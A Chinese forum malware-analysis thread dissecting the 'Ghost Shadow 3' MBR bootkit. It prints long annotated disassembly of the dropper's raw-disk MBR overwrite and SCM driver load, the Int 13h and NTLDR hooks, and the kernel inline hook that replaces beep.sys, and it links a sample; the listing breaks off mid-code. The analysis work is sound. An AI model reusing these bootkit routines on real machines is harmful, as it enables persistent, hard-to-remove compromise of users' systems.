再看鬼影3代
本帖最后由 willJ 于 2013-5-5 16:45 编辑像鬼影,MBR这些引导扇区病毒已经被众人玩爆了,总结下最近分析的一个老毒鬼影3代,也算是对基本的引导扇区知识做了了解,和大家分享下。0x1 鬼影3代母体分析
0x2 鬼影3代MBR分析
0x3 鬼影3代保护模式代码分析
0x4 鬼影3代释放的alg.exe分析
0x5 鬼影3代释放的hello_tt.sys分析
鬼影3代母体主要功能:1.获取磁盘结构。2.获取原始MBR,并且加密保存在磁盘末尾地方。3.写入病毒MBR。4.将驱动和下载者保存到磁盘末尾地区。5.以SCM方式启动驱动,驱动将创建下载者,运行下载者。OD打开母体的时候没有问题,但是IDA打开的时候会受到花指令了干扰,最好利用U ,C调整代码,或者直接将花指令nop掉,不然在F5的时候会遇见问题。第一步打开第一磁盘,通过DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY)获取磁盘结构,以便后面将重要数据存放在磁盘末尾。获得下面的结构得到相应磁盘参数。typedef struct _DISK_GEOMETRY {
LARGE_INTEGER Cylinders;
MEDIA_TYPE MediaType;
ULONG TracksPerCylinder;
ULONG SectorsPerTrack;
ULONG BytesPerSector;
} DISK_GEOMETRY, *PDISK_GEOMETRY;
004114A0 .6A 00 push 0x0 ; /hTemplateFile = NULL
004114A2 .6A 00 push 0x0 ; |Attributes = 0
004114A4 .6A 03 push 0x3 ; |Mode = OPEN_EXISTING
004114A6 .6A 00 push 0x0 ; |pSecurity = NULL
004114A8 .6A 03 push 0x3 ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
004114AA .68 000000C0 push 0xC0000000 ; |Access = GENERIC_READ|GENERIC_WRITE
004114AF .68 2C0D4100 push mb.00410D2C ; |FileName = "\\.\PhysicalDrive0"
004114B4 .FF15 40024000 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileA
004114BA .8985 B8FDFFFF mov dword ptr ss:,eax
004114C0 .6A 00 push 0x0 ; /pOverlapped = NULL
004114C2 .8D95 D4FDFFFF lea edx,dword ptr ss: ; |
004114C8 .52 push edx ; |pBytesReturned
004114C9 .6A 18 push 0x18 ; |OutBufferSize = 18 (24.)
004114CB .8D85 D8FDFFFF lea eax,dword ptr ss: ; |
004114D1 .50 push eax ; |OutBuffer
004114D2 .6A 00 push 0x0 ; |InBufferSize = 0
004114D4 .6A 00 push 0x0 ; |InBuffer = NULL
004114D6 .68 00000700 push 0x70000 ; |IoControlCode = IOCTL_DISK_GET_DRIVE_GEOMETRY
004114DB .8B8D B8FDFFFF mov ecx,dword ptr ss: ; |
004114E1 .51 push ecx ; |hDevice
004114E2 .FF15 20024000 call dword ptr ds:[<&KERNEL32.DeviceIoCo>; \DeviceIoControl第二步计算机磁盘大小,获得一个适当的位置存放恶意代码,此位置靠近磁盘末尾00411546 .8985 CCFDFFFF mov dword ptr ss:,eax
0041154C .8995 D0FDFFFF mov dword ptr ss:,edx
00411552 .8B95 CCFDFFFF mov edx,dword ptr ss:
00411558 .81EA 00200300 sub edx,0x32000
0041155E .8B85 D0FDFFFF mov eax,dword ptr ss:
00411564 .83D8 00 sbb eax,0x0
00411567 .81EA 00280000 sub edx,0x2800
0041156D .83D8 00 sbb eax,0x0
00411570 .81C2 00020000 add edx,0x200
00411576 .83D0 00 adc eax,0x0
00411579 .8995 F0FDFFFF mov dword ptr ss:,edx
0041157F .8985 F4FDFFFF mov dword ptr ss:,eax
00411585 .8B8D F0FDFFFF mov ecx,dword ptr ss:
0041158B .81E9 00020000 sub ecx,0x200
00411591 .8B95 F4FDFFFF mov edx,dword ptr ss:
00411597 .83DA 00 sbb edx,0x0
0041159A .81C1 00280000 add ecx,0x2800
004115A0 .83D2 00 adc edx,0x0
004115A3 .81E9 00020000 sub ecx,0x200
004115A9 .83DA 00 sbb edx,0x0
004115AC .898D C4FDFFFF mov dword ptr ss:,ecx
004115B2 .8995 C8FDFFFF mov dword ptr ss:,edx
004115B8 .83BD CCFDFFFF>cmp dword ptr ss:,0x0第三步读取原始MBR进行加密,加密算法是左循环移73H位,也就是左循环移3位。0041169C .8A82 00034000 mov al,byte ptr ds:
004116A2 .8885 B4FDFFFF mov byte ptr ss:,al
004116A8 .8A85 B4FDFFFF mov al,byte ptr ss:
004116AE .66:B9 7300 mov cx,0x73
004116B2 .D2C0 rol al,cl
004116B4 .8885 B4FDFFFF mov byte ptr ss:,al第四步通过SetFilePointer设置指针坐标位置,WriteFile写入病毒代码到磁盘末尾已经MBR。004117B0 .6A 00 push 0x0 ; /Origin = FILE_BEGIN
004117B2 .8D55 FC lea edx,dword ptr ss: ; |
004117B5 .52 push edx ; |pOffsetHi
004117B6 .8B45 F8 mov eax,dword ptr ss: ; |
004117B9 .50 push eax ; |OffsetLo
004117BA .8B8D B8FDFFFF mov ecx,dword ptr ss: ; |
004117C0 .51 push ecx ; |hFile
004117C1 .FF15 28024000 call dword ptr ds:[<&KERNEL32.SetFilePoi>; \SetFilePointer
004117C7 .83F8 FF cmp eax,-0x1
004117CA .0F84 9E010000 je mb.0041196E
004117D0 .6A 00 push 0x0 ; /pOverlapped = NULL
004117D2 .8D95 D4FDFFFF lea edx,dword ptr ss: ; |
004117D8 .52 push edx ; |pBytesWritten
004117D9 .68 00E20000 push 0xE200 ; |nBytesToWrite = E200 (57856.)
004117DE .68 002B4000 push mb.00402B00 ; |Buffer = mb.00402B00
004117E3 .8B85 B8FDFFFF mov eax,dword ptr ss: ; |
004117E9 .50 push eax ; |hFile
004117EA .FF15 2C024000 call dword ptr ds:[<&KERNEL32.WriteFile>>; \WriteFile第五步创建驱动hello_tt.sys,通过SCM服务方式加载驱动,删除驱动,等待5秒(这个期间驱动在C盘创建下载者alg.exe),启动C盘的alg.exe。母体执行完毕。004118D8 > \6A 00 push 0x0 ; /hTemplateFile = NULL
004118DA .68 80000000 push 0x80 ; |Attributes = NORMAL
004118DF .6A 04 push 0x4 ; |Mode = OPEN_ALWAYS
004118E1 .6A 00 push 0x0 ; |pSecurity = NULL
004118E3 .6A 00 push 0x0 ; |ShareMode = 0
004118E5 .68 00000040 push 0x40000000 ; |Access = GENERIC_WRITE
004118EA .68 180D4100 push mb.00410D18 ; |FileName = "hello_tt.sys"
004118EF .FF15 40024000 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileA
004118F5 .8985 B0FDFFFF mov dword ptr ss:,eax
004118FB .83BD B0FDFFFF>cmp dword ptr ss:,-0x1
00411902 .74 6A je short mb.0041196E
00411904 .6A 00 push 0x0 ; /pOverlapped = NULL
00411906 .8D85 D4FDFFFF lea eax,dword ptr ss: ; |
0041190C .50 push eax ; |pBytesWritten
0041190D .68 001A0000 push 0x1A00 ; |nBytesToWrite = 1A00 (6656.)
00411912 .8B8D BCFDFFFF mov ecx,dword ptr ss: ; |
00411918 .81C1 00034000 add ecx,mb.00400300 ; |
0041191E .51 push ecx ; |Buffer
0041191F .8B95 B0FDFFFF mov edx,dword ptr ss: ; |
00411925 .52 push edx ; |hFile
00411926 .FF15 2C024000 call dword ptr ds:[<&KERNEL32.WriteFile>>; \WriteFile
0041192C .8B85 B0FDFFFF mov eax,dword ptr ss:
00411932 .50 push eax ; /hObject
00411933 .FF15 30024000 call dword ptr ds:[<&KERNEL32.CloseHandl>; \CloseHandle
00411939 .68 180D4100 push mb.00410D18 ;ASCII "hello_tt.sys"
0041193E .68 0C0D4100 push mb.00410D0C ;ASCII "hello_tt"
00411943 .E8 B8F9FFFF call mb.00411300 ;通过SCM服务方式启动驱动
00411948 .83C4 08 add esp,0x8
0041194B .68 180D4100 push mb.00410D18 ; /FileName = "hello_tt.sys"
00411950 .FF15 34024000 call dword ptr ds:[<&KERNEL32.DeleteFile>; \DeleteFileA
00411956 .68 88130000 push 0x1388 ; /Timeout = 5000. ms
0041195B .FF15 38024000 call dword ptr ds:[<&KERNEL32.Sleep>] ; \Sleep
00411961 .6A 05 push 0x5 ; /ShowState = SW_SHOW
00411963 .68 000D4100 push mb.00410D00 ; |CmdLine = "C:\alg.exe"
00411968 .FF15 3C024000 call dword ptr ds:[<&KERNEL32.WinExec>]; \WinExec
0041196E >8B8D B8FDFFFF mov ecx,dword ptr ss:
00411974 .51 push ecx ; /hObject
00411975 .FF15 30024000 call dword ptr ds:[<&KERNEL32.CloseHandl>; \CloseHandle
样本地址:
http://www.52pojie.cn/forum.php?mod=viewthread&tid=94212 本帖最后由 willJ 于 2013-5-2 18:01 编辑
鬼影3的MBR目的是Hook Int 13H,当执行Int 13H读操作的时候,进一步去搜索Osloader.exe中的特侦码,进行下一步的Hook,等待下一次执行获取权限。解密后面加密后的代码。普及下Windows的启动过程1.BIOS加电自检2.自检完成将MBR加载到内存7C00H的地方执行MBR代码3.执行PBR4.加载执行NTLDR5.BOOT.INI,内核加载等6.进入系统其中NTLDR是由两个部分组成,Startup.com+Osloader.exeseg000:0000 ;
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ; | This file has been generated by The Interactive Disassembler (IDA) |
seg000:0000 ; | Copyright (c) 2011 Hex-Rays, <support@hex-rays.com> |
seg000:0000 ; | License info: 48-327F-7274-B7 |
seg000:0000 ; | ESET spol. s r.o. |
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ;
seg000:0000 ; Input MD5 : 5705DEC26970DA764A175090823A00B1
seg000:0000 ; Input CRC32 : 2D814F11
seg000:0000
seg000:0000 ; ---------------------------------------------------------------------------
seg000:0000 ; File Name : j:\Virus\鬼影3分析\鬼影3之MBR分析\DECODEMBR
seg000:0000 ; Format : Binary file
seg000:0000 ; Base Address: 0000h Range: 0000h - 0200h Loaded length: 0200h
seg000:0000
seg000:0000 .686p
seg000:0000 .mmx
seg000:0000 .model flat
seg000:0000
seg000:0000 ; ===========================================================================
seg000:0000
seg000:0000 ; Segment type: Pure code
seg000:0000 seg000 segment byte public 'CODE' use16
seg000:0000 assume cs:seg000
seg000:0000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000 jb short loc_5 ; cli是关中断
seg000:0000 ; 防止有些硬件中断对程序的干扰
seg000:0002 jnb short loc_5 ; 不管任何情况都跳到loc_5
seg000:0002 ; ---------------------------------------------------------------------------
seg000:0004 db0Ah
seg000:0005 ; ---------------------------------------------------------------------------
seg000:0005
seg000:0005 loc_5: ; CODE XREF: seg000:0000j
seg000:0005 ; seg000:0002j
seg000:0005 cli ; cli是关中断
seg000:0005 ; 防止有些硬件中断对程序的干扰
seg000:0006 mov word ptr cs:600h, es
seg000:000B mov cs:602h, sp
seg000:0010 mov word ptr cs:604h, ss
seg000:0015 mov dword ptr cs:7FCh, 800h
seg000:001F lss sp, cs:7FCh ; 进行一些初始化操作
seg000:0025 pushad ; 保存寄存器
seg000:0027 push ds ; 压栈ds
seg000:0028 mov bx, cs:413h ; BIOS的内存地址存放到bx
seg000:002D sub bx, 0Dh ; 申请0Dhkb的大小的BIOS内存
seg000:0031 and bl, 0FCh ; 按照4K对齐
seg000:0034 mov cs:413h, bx ; 剩下的地址赋值回去
seg000:0039 shl bx, 6 ; 获取段地址大小
seg000:0039 ; 计算方法是×2的10次方,然后除以2的4次方,所以左移6位
seg000:003C mov es, bx ; 将段地址赋值给es
seg000:003E xor bx, bx ; 清零bx
seg000:0040 mov ax, 201h ; ah赋值为2h,al赋值为1h
seg000:0040 ; ah为int 13h的功能号,al为读取扇区数
seg000:0043 mov cx, 1 ; cx赋值为1
seg000:0043 ; cx表示从第一个扇区读取
seg000:0046 mov dx, 80h ; ; 80H表示读取介质类型为硬盘
seg000:0049 int 13h ; DISK - READ SECTORS INTO MEMORY
seg000:0049 ; AL = number of sectors to read, CH = track, CL = sector
seg000:0049 ; DH = head, DL = drive, ES:BX -> buffer to fill
seg000:0049 ; Return: CF set on error, AH = status, AL = number of sectors read
seg000:004B
seg000:004B loc_4B: ; DATA XREF: seg000:0049r
seg000:004B ; seg000:0063r ...
seg000:004B jb short loc_50 ; 压栈es
seg000:004D
seg000:004D loc_4D: ; DATA XREF: seg000:00B3w
seg000:004D jnb short loc_50 ; 跳向loc_50指向
seg000:004D ; ---------------------------------------------------------------------------
seg000:004F db 2
seg000:0050 ; ---------------------------------------------------------------------------
seg000:0050
seg000:0050 loc_50: ; CODE XREF: seg000:loc_4Bj
seg000:0050 ; seg000:loc_4Dj
seg000:0050 push es ; 压栈es
seg000:0051 push offset loc_55
seg000:0054 retf ; 相当于跳转命令
seg000:0054 ; jmp loc_55
seg000:0055
seg000:0055 loc_55: ; DATA XREF: seg000:0051o
seg000:0055 push cs
seg000:0056 pop ds ; 想当于指令mov ds,cs
seg000:0057 mov si, 6Ch ; 此为一个扩展读操作,参数放在一个DAP结构中
seg000:0057 ; struct DiskAddressPacket
seg000:0057 ; {
seg000:0057 ; BYTE PacketSize; // 数据包尺寸(16字节)
seg000:0057 ; BYTE Reserved; // ==0
seg000:0057 ; WORD BlockCount; // 要传输的数据块个数(以扇区为单位)
seg000:0057 ; DWORD BufferAddr; // 传输缓冲地址(segment:offset)
seg000:0057 ; QWORD BlockNum; // 磁盘起始绝对块地址
seg000:0057 ; };
seg000:005A mov ax, cs
seg000:005C mov , ax
seg000:005F mov ah, 42h ; 'B'
seg000:0061 mov dl, 80h ; 从DAP结构可以看出第一,第二参数是固定的,从4FFD483h读取14H个扇区到200h位置
seg000:0061 ; db 10h
seg000:0061 ; db 0
seg000:0061 ; dw 14h
seg000:0061 ; dd 200h
seg000:0061 ; dd 4FFD482h
seg000:0061 ; dd 0
seg000:0063 int 13h ; DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet)
seg000:0065 jb short loc_6A
seg000:0067 jnb short loc_6A ; 跳向loc_6A
seg000:0067 ; ---------------------------------------------------------------------------
seg000:0069 db 3
seg000:006A ; ---------------------------------------------------------------------------
seg000:006A
seg000:006A loc_6A: ; CODE XREF: seg000:0065j
seg000:006A ; seg000:0067j
seg000:006A jmp short loc_7C ; 以下代码是解密加密的代码区
seg000:006A ; 从9Eh开始,大小2762h
seg000:006A ; ---------------------------------------------------------------------------
seg000:006C db 10h
seg000:006D db 0
seg000:006E dw 14h
seg000:0070 dd 200h
seg000:0074 dd 4FFD482h
seg000:0078 dd 0
seg000:007C ; ---------------------------------------------------------------------------
seg000:007C
seg000:007C loc_7C: ; CODE XREF: seg000:loc_6Aj
seg000:007C mov si, 9Eh ; ' ; 以下代码是解密加密的代码区
seg000:007C ; 从9Eh开始,大小2762h
seg000:007F mov cx, 2762h
seg000:0082
seg000:0082 loc_82: ; CODE XREF: seg000:009Cj
seg000:0082 push cx
seg000:0083 mov al,
seg000:0085 or al, al
seg000:0087 jz short _DeCodeOver ; 解密结束
seg000:0089 jb short _DeCode ; 赋值cx为73h
seg000:008B jnb short _DeCode ; 执行解密代码
seg000:008B ; ---------------------------------------------------------------------------
seg000:008D db 3
seg000:008E ; ---------------------------------------------------------------------------
seg000:008E
seg000:008E _DeCode: ; CODE XREF: seg000:0089j
seg000:008E ; seg000:008Bj
seg000:008E mov cx, 73h ; 赋值cx为73h
seg000:0091 jb short loc_96 ; 将al循环右移73H,其实也就是右移3H
seg000:0093 jnb short loc_96 ; 将al循环右移73H,其实也就是右移3H
seg000:0093 ; ---------------------------------------------------------------------------
seg000:0095 db 4
seg000:0096 ; ---------------------------------------------------------------------------
seg000:0096
seg000:0096 loc_96: ; CODE XREF: seg000:0091j
seg000:0096 ; seg000:0093j
seg000:0096 ror al, cl ; 将al循环右移73H,其实也就是右移3H
seg000:0098 mov , al ; 解密后的内容赋值回去
seg000:009A
seg000:009A _DeCodeOver: ; CODE XREF: seg000:0087j
seg000:009A inc si ; si自增1
seg000:009B pop cx
seg000:009C loop loc_82 ; 判断是否执行结束
seg000:009E push 0 ; 后面的代码都是经过解密获取的
seg000:009E ; 我将解密的代码拼接在一起
seg000:00A1 pop es ; 将es赋值为0
seg000:00A2 mov eax, dword ptr es:loc_4B+1 ; loc_4b+1保存着INT 13H的地址
seg000:00A7 mov cs:dword_106, eax ; 将Int 13h地址赋值给cs:dword_106,保存原始Int 13H的地址
seg000:00AC mov word ptr es:loc_4B+1, offset _HookInt13HFunc ; 将Hook Int 13h地址赋值过去,达到Hook效果
seg000:00B3 mov word ptr es:loc_4D+1, cs ; 段寄存器赋值
seg000:00B8 xor ebx, ebx ; 清零ebx
seg000:00BB mov bx, cs ; cs段赋值给bx
seg000:00BD shl ebx, 4 ; 获取段地址
seg000:00C1 or cs:239h, ebx ; 段地址赋值
seg000:00C7 or cs:3C3h, ebx ; 段地址赋值
seg000:00CD add ebx, 204h ; 因为后面的代码通过扩展读到200H的地方
seg000:00CD ; 这里的地址就是后面的病毒代码地址
seg000:00D4 mov cs:200h, ebx ; 将Hook的地址放到cs:200H的地方
seg000:00DA mov di, 7C00h ; 目标地址
seg000:00DD mov si, 2600h ; 原始MBR存放地址
seg000:00E0 mov cx, 200h ; 大小为200H
seg000:00E3 cld
seg000:00E4 rep movsb ; 串赋值操作,将原始MBR拷贝到7C00H地方
seg000:00E6 pop ds
seg000:00E7 popad
seg000:00E9 lss sp, es:602h
seg000:00EF mov es, word ptr es:600h ; 恢复现场操作
seg000:00F4 jmp far ptr 0:7C00h ; 跳向7C00H处执行原始MBR
seg000:00F9 ; ---------------------------------------------------------------------------
seg000:00F9
seg000:00F9 _HookInt13HFunc: ; DATA XREF: seg000:00ACo
seg000:00F9 pushf
seg000:00FA cmp ah, 42h ; 'B'
seg000:00FD jz short loc_10A
seg000:00FF cmp ah, 2
seg000:0102 jz short loc_10A
seg000:0104 popf ; 以上代码是判断Int 13H的功能号是2h还是42H
seg000:0104 ; ---------------------------------------------------------------------------
seg000:0105 db 0EAh ; ; EA是Jmp的机器猫,下面存放原始Int 13h的地址
seg000:0106 dword_106 dd 0 ; DATA XREF: seg000:00A7w
seg000:0106 ; seg000:0110r
seg000:010A ; ---------------------------------------------------------------------------
seg000:010A
seg000:010A loc_10A: ; CODE XREF: seg000:00FDj
seg000:010A ; seg000:0102j
seg000:010A popf
seg000:010B mov word ptr cs:loc_11F+1, ax ; 将ax存放在指定位置
seg000:010F pushf
seg000:0110 call cs:dword_106 ; 调用原始int 13H功能
seg000:0115 jb _Over ; 如果不是读操作,执行完毕就结束
seg000:0119 pushf
seg000:011A cli ; cli是关中断,防止有些硬件中断对程序的干扰
seg000:011B push es
seg000:011C push ds
seg000:011D pushad ; 保护现场操作
seg000:011F
seg000:011F loc_11F: ; DATA XREF: seg000:010Bw
seg000:011F ; seg000:0129w ...
seg000:011F mov ax, 0 ; 此处被上面的代码修改过
seg000:011F ; mov word ptr cs:loc_11F+1, ax
seg000:0122 cmp ah, 42h ; 'B' ; 比较中断功能号是不是扩展读
seg000:0125 jnz short _NotExternRead ; 不是扩展读就跳走
seg000:0127 lodsw
seg000:0128 lodsw ; ds:si扩展读的方式,指向的是磁盘数据地址数据包
seg000:0129 mov word ptr cs:loc_11F+1, ax
seg000:012D les bx, ; LES指令的功能是:把内存中指定位置的双字操作数的低位字装入指令中指定的寄存器
seg000:012D ; 高位字装入ES寄存器。 也就是找到缓存的位子
seg000:012F
seg000:012F _NotExternRead: ; CODE XREF: seg000:0125j
seg000:012F mov ax, word ptr cs:loc_11F+1 ; 获取中断功能号
seg000:0133 test al, al ; ax为0就不跳,不为0就跳,测试读取的扇区数
seg000:0135 jle short _EXIT
seg000:0137 xor cx, cx ; 清零cx
seg000:0139 mov cl, al ; 将扇区数存放到cl
seg000:013B shl cx, 9 ; 获取扇区总大小
seg000:013E mov al, 8Bh ; ' ; 第一个搜索标志
seg000:0140 mov di, bx ; 目标地址
seg000:0142 cld ; 置位标志位
seg000:0143
seg000:0143 _INT13HookScan: ; CODE XREF: seg000:014Fj
seg000:0143 ; seg000:0157j
seg000:0143 repne scasb ; 开始查找
seg000:0145 jnz short _EXIT
seg000:0147 cmp dword ptr es:, 74F685F0h ; 这是下一个搜索标志位
seg000:014F jnz short _INT13HookScan ;检测 ntldr 中的特征序列 8B F0 85 F6 74 21/22 80 3D
seg000:0151 cmp word ptr es:, 8021h ; 这也是一个搜索标志
seg000:0157 jnz short _INT13HookScan ;检测 ntldr 中的特征序列 8B F0 85 F6 74 21/22 80 3D
seg000:0159 push es ; 压栈es
seg000:015A xor eax, eax ; 清零eax
seg000:015D mov es, ax ; es清零
seg000:015F mov ax, cs ; cs赋值给ax
seg000:0161 shl eax, 4 ; 获取段地址
seg000:0165 add eax, 200h ; 这个为病毒后面代码区域
seg000:016B pop es ; 还原es
seg000:016C mov word ptr es:, 15FFh ; 这里是一个CALL的机器码
seg000:0172 mov es:, eax; 这里达到Hook的效果Call ,offset的地址存放在eax
seg000:0177
seg000:0177 _EXIT: ; CODE XREF: seg000:0135j
seg000:0177 ; seg000:0145j
seg000:0177 popad
seg000:0179 pop ds
seg000:017A pop es
seg000:017B popf
seg000:017C
seg000:017C _Over: ; CODE XREF: seg000:0115j
seg000:017C retf 2
下图是搜索的地方,以及要Hook的地方。
确实有点凶 本帖最后由 willJ 于 2013-5-2 19:13 编辑
保护模式下面的代码的主要作用是以下几点1.当执行Osloader.exe的时候,由于前期对其做了Hook操作,所以病毒代码再次执行起来,这个时候已经切换到保护模式。2.搜索空间获取_BlLoaderBlock地址,通过此结构获取ntoskrnl.exe的基址。3.通过搜索导出表的方式搜索IoGetCurrentPorcess的地址4.对IoGetCurrentPorcess进行Inline Hook操作5.当执行IoGetCurrentPorcess时候再次运行病毒代码,病毒再次获得执行权限6.病毒开始替换驱动beep.sys,加载自己的驱动seg000:00000000 dd 0 ; NTLDR Hook Call的地址
seg000:00000004 ; ---------------------------------------------------------------------------
seg000:00000004 pushf
seg000:00000005 pusha ; 保护现场操作
seg000:00000006 mov edi, ; 指向的是Osloader,将其存放到edi
seg000:0000000A and edi, 0FFF00000h ; 将edi操作后获得镜像基址
seg000:00000010 cld ; 设置DF标志位为0
seg000:00000011 mov al, 0C7h ; '; 将0C7h赋值到al用于搜索
seg000:00000013
seg000:00000013 _ModuleFindLoop: ; CODE XREF: seg000:00000014j
seg000:00000013 ; seg000:0000001Cj
seg000:00000013 scasb ; 搜索edi中的内容
seg000:00000014 jnz short _ModuleFindLoop ; 搜索edi中的内容
seg000:00000016 cmp dword ptr , 40003446h ; 继续搜索标志位
seg000:0000001C jnz short _ModuleFindLoop ; 搜索edi中的内容
seg000:0000001E mov al, 0A1h ; '; 赋值0A1h到al用于搜索
seg000:00000020
seg000:00000020 _ModuleBaseFindLoop: ; CODE XREF: seg000:00000021j
seg000:00000020 scasb ; 继续将edi中的内容与al进行比较
seg000:00000021 jnz short _ModuleBaseFindLoop ; 继续将edi中的内容与al进行比较
seg000:00000023 mov esi, ; ESI <- LIST_ENTRY
seg000:00000023 ; struct _BlLoaderBlock
seg000:00000023 ; {
seg000:00000023 ; +00hLIST_ENTRY module list links
seg000:00000023 ; +08h ???
seg000:00000023 ; +18hPTR image base address
seg000:00000023 ; +1ChPTR module entry point
seg000:00000023 ; +20hDWORD size of loaded module in memory
seg000:00000023 ; +24hUNICODE_STRINGfull module path and file name
seg000:00000023 ; +2ChUNICODE_STRINGmodule file name
seg000:00000023 ; }
seg000:00000025 mov esi, ; ESI指向的是头节点
seg000:00000027 lodsd ; 获取第二个节点放在eax
seg000:00000028 mov ebx, ; 将镜像基址存放到ebx
seg000:0000002B call _HookFunction
seg000:00000030 sub dword ptr , 5 ; Hook的起始地址,会被写入Ntoskrnl.exe,长度为37H
seg000:00000037 pusha
seg000:00000038
seg000:00000038 loc_38:
seg000:00000038 mov eax, 1
seg000:0000003D xor ecx, ecx
seg000:0000003F mov ch, 3 ; 赋值ecx为300H,表示长度为300H
seg000:00000041 mov edx, 0C0000000h
seg000:00000046
seg000:00000046 loc_46:
seg000:00000046 mov esi, 200h
seg000:0000004B
seg000:0000004B loc_4B:
seg000:0000004B mov edi, 0FFDF0800h
seg000:00000050 xchg eax, ; 0FFDF0800h内核当中共享用户数据区地址
seg000:00000052 wbinvd
seg000:00000054 rep movsb ; 拷贝数据到0FFDF0800h
seg000:00000056 mov , eax
seg000:00000058 wbinvd ; WBINVD指令使片上的超高速缓存无效即:
seg000:00000058 ; 清洗片上的超高速缓存。
seg000:00000058 ; 但该指令将把片上的超高速缓存中更改的内容写回主存。
seg000:00000058 ; 该指令是特权指令,只有在实方式和保护方式的特权级0下,才可执行该指令。
seg000:0000005A push 0
seg000:0000005C push 0 ; 这两句会被下面Hook代码修改掉
seg000:00000061 push 0FFDF08AFh ; 相当于jmp指令,跳向0FFDF08AFH继续执行恶意代码
seg000:00000066 retn
seg000:00000067
seg000:00000067 ; =============== S U B R O U T I N E =======================================
seg000:00000067
seg000:00000067
seg000:00000067 _HookFunction proc near ; CODE XREF: seg000:0000002Bp
seg000:00000067
seg000:00000067 arg_24 = dword ptr28h
seg000:00000067
seg000:00000067 pop esi
seg000:00000068 mov ecx, 37h ; '7'; pop esi,将esi赋值为CALL的返回地址
seg000:00000068 ; 赋值ecx为37h,也就是Hook代码的长度,后面会用到
seg000:0000006D mov , ebx ; ebx存放镜像基址,存放到
seg000:00000073 lea edi, ; 将镜像基址+40H的地址赋值给edi
seg000:00000076 mov ebp, edi ; 将edi赋值给ebp,保存edi
seg000:00000078 rep movsb ; 将Hook函数代码拷贝到镜像基址+40H的地方
seg000:0000007A push 0CE8C3177h ; 这是IoGetCurrentProcess的hash
seg000:0000007F call _GetPeExport ; 通过遍历PE导出表对比HASH确定所需要函数地址
seg000:00000084 xchg eax, esi ; 调换eax和esi的值
seg000:00000085 sub edi, 0Ah
seg000:0000008B movsd
seg000:0000008C sub edi, 6
seg000:00000092 movsb ; 修改Hook代码,以便返回到IoGetCurrentProcess中执行
seg000:00000093 mov byte ptr , 0E8h ; ' ; E8是Call的机器码
seg000:00000097 sub ebp, esi
seg000:00000099 mov , ebp ; 这里进行对函数的Inline Hook操作
seg000:00000099 ; 使用方法类似Call ebp
seg000:0000009C popa
seg000:0000009D popf
seg000:0000009E mov esi, eax
seg000:000000A0 test eax, eax
seg000:000000A2 jnz short locret_AE ; mov esi, eax
seg000:000000A2 ; test eax, eax
seg000:000000A2 ; jnz short locret_AE
seg000:000000A2 ; 以上恢复Osloader.exe的代码
seg000:000000A4 pushf
seg000:000000A5 add , 21h ; '!'
seg000:000000AD popf ; 返回地址+21H得到返回地址
seg000:000000AD ; 进行恢复后跳向指向的地址
seg000:000000AE
seg000:000000AE locret_AE: ; CODE XREF: _HookFunction+3Bj
seg000:000000AE retn
以下代码是执行shellcode替换驱动
seg000:000000AF mov ebp, esp
seg000:000000B1 mov edi,
seg000:000000B4 mov ecx, cr0
seg000:000000B7 mov edx, ecx
seg000:000000B9 and ecx, 0FFFEFFFFh
seg000:000000BF mov cr0, ecx ; 去除内存页面的写保护,也就是通过CR0的置位17位
seg000:000000C2 pop eax
seg000:000000C3 stosd
seg000:000000C4 pop eax
seg000:000000C5 stosb
seg000:000000C6 mov cr0, edx ; 恢复页面的写保护
seg000:000000C9 jb short loc_CE
seg000:000000CB jnb short loc_CE
seg000:000000CB ; ---------------------------------------------------------------------------
seg000:000000CD db20h
seg000:000000CE ; ---------------------------------------------------------------------------
seg000:000000CE
seg000:000000CE loc_CE: ; CODE XREF: seg000:000000C9j
seg000:000000CE ; seg000:000000CBj
seg000:000000CE enter 4, 0
seg000:000000D2 push 136E47C7h ; 这个Hash是PsCreateSystemThread
seg000:000000D7 call _GetPeExport ; 获取此函数的地址
seg000:000000DC lea ebx,
seg000:000000DF push 0
seg000:000000E4 push 0FFDF0903h
seg000:000000E9 push 0
seg000:000000EE push 0
seg000:000000F3 push 0
seg000:000000F8 push 0
seg000:000000FD push ebx
seg000:000000FE call eax ; 创建一个线程,现场函数地址0FFDF0903h
seg000:00000100 leave
seg000:00000101 popa
seg000:00000102 retn
seg000:00000103 ; ---------------------------------------------------------------------------
seg000:00000103 pusha
seg000:00000104 enter 40h, 0
seg000:00000108
seg000:00000108 loc_108: ; CODE XREF: seg000:000001ADj
seg000:00000108 ; seg000:000001D5j
seg000:00000108 mov dword ptr , 0FFFFFFFFh
seg000:0000010F mov dword ptr , 0FECED300h
seg000:00000116 push 0CC06CD48h ; 这个Hash是KeDelayExecutionThread
seg000:0000011B call _GetPeExport ; 获取此函数地址
seg000:00000120 lea ebx,
seg000:00000123 push ebx
seg000:00000124 push 0
seg000:00000129 push 0
seg000:0000012E call eax ; 调用KeDelayExecutionThread休眠下
seg000:00000130 lea ecx,
seg000:00000133 mov dword ptr , 18h
seg000:00000139 and dword ptr , 0
seg000:00000140 mov dword ptr , 40h ; '@'
seg000:00000147 and dword ptr , 0
seg000:0000014E and dword ptr , 0
seg000:00000155 mov eax, 0FFDF0A85h
seg000:0000015A mov dword ptr , 0FFDF0A89h
seg000:00000164 mov dword ptr , 0FFDF0A81h
seg000:0000016E push 25298A1Dh ; 这个Hash是ZwCreateFile
seg000:00000173 call _GetPeExport
seg000:00000178 lea ebx,
seg000:0000017B lea edx,
seg000:0000017E push 0
seg000:00000183 push 0
seg000:00000188 push 20h ; ' '
seg000:0000018D push 5
seg000:00000192 push 0
seg000:00000197 push 80h ;
seg000:0000019C push 0
seg000:000001A1 push edx
seg000:000001A2 push ecx
seg000:000001A3 push 40000000h
seg000:000001A8 push ebx
seg000:000001A9 call eax ; 调用ZwCreateFile打开Beep.sys
seg000:000001AB or eax, eax
seg000:000001AD jnz loc_108 ; 判断打开成功没有
seg000:000001B3 push 0
seg000:000001B8 push 2800h
seg000:000001BD push 0
seg000:000001C2 push 0
seg000:000001C7 push 0FCE7EE0Ch ; 这个Hash是MmMapIoSpace
seg000:000001CC call _GetPeExport
seg000:000001D1 call eax ; MmMapIoSpace();
seg000:000001D3 or eax, eax
